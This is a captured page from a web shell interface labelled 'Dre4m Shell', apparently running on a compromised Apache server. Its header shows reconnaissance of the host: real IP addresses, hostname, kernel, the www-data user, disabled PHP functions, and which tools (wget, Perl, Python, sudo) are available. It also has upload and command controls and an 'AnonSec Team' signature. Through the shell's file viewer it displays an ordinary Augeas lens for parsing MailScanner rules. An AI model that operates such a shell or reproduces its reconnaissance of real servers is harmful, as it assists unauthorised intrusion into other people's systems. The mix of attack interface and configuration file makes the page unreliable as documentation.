Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.147.78.185
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/augeas/lenses/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/augeas/lenses/dist/mailscanner_rules.aug
(*
Module: Mailscanner_rules
  Parses MailScanner rules files.

Author: Andrew Colin Kissa <andrew@topdog.za.net>
  Baruwa Enterprise Edition http://www.baruwa.com

About: License
  This file is licensed under the LGPL v2+.

About: Configuration files
  This lens applies to MailScanner rules files
  The format is described below:

  # NOTE: Fields are separated by TAB characters --- Important!
  #
  # Syntax is allow/deny/deny+delete/rename/rename to replacement-text/email-addresses,
  #           then regular expression,
  #           then log text,
  #           then user report text.
  # The "email-addresses" can be a space or comma-separated list of email
  # addresses. If the rule hits, the message will be sent to these address(es)
  # instead of the original recipients.

  # If a rule is a "rename" rule, then the attachment filename will be renamed
  # according to the "Default Rename Pattern" setting in MailScanner.conf.
  # If a rule is a "rename" rule and the "to replacement-text" is supplied, then
  # the text matched by the regular expression in the 2nd field of the line
  # will be replaced with the "replacement-text" string.
  # For example, the rule
  # rename to .ppt	\.pps$	Renamed .pps to .ppt	Renamed .pps to .ppt
  # will find all filenames ending in ".pps" and rename them so they end in
  # ".ppt" instead.
*)

module Mailscanner_Rules =
autoload xfm

(************************************************************************
 *                           USEFUL PRIMITIVES
 *************************************************************************)

let eol = del /\n/ "\n"
let ws         = del /[\t]+/ "\t"
let comment    = Util.comment
let empty      = Util.empty
let action     = /allow|deny|deny\+delete|rename|rename[ ]+to[ ]+[^# \t\n]+|([A-Za-z0-9_+.-]+@[A-Za-z0-9_.-]+[, ]?)+/
let non_space  = /[^# \t\n]+/
let non_tab    = /[^\t\n]+/

let field (l:string) (r:regexp)
               = [ label l . store r ]

(************************************************************************
 *                               ENTRIES
 *************************************************************************)

let entry     = [ seq "rule" . field "action" action
                . ws . field "regex" non_tab
                . ws . field "log-text" non_tab
                . ws . field "user-report" non_tab
                . eol ]

(************************************************************************
 *                                LENS
 *************************************************************************)

let lns        = (comment|empty|entry)*

let filter     = (incl "/etc/MailScanner/filename.rules.conf")
                . (incl "/etc/MailScanner/filetype.rules.conf")
                . (incl "/etc/MailScanner/archives.filename.rules.conf")
                . (incl "/etc/MailScanner/archives.filetype.rules.conf")

let xfm        = transform lns filter

Anon7 - 2022
AnonSec Team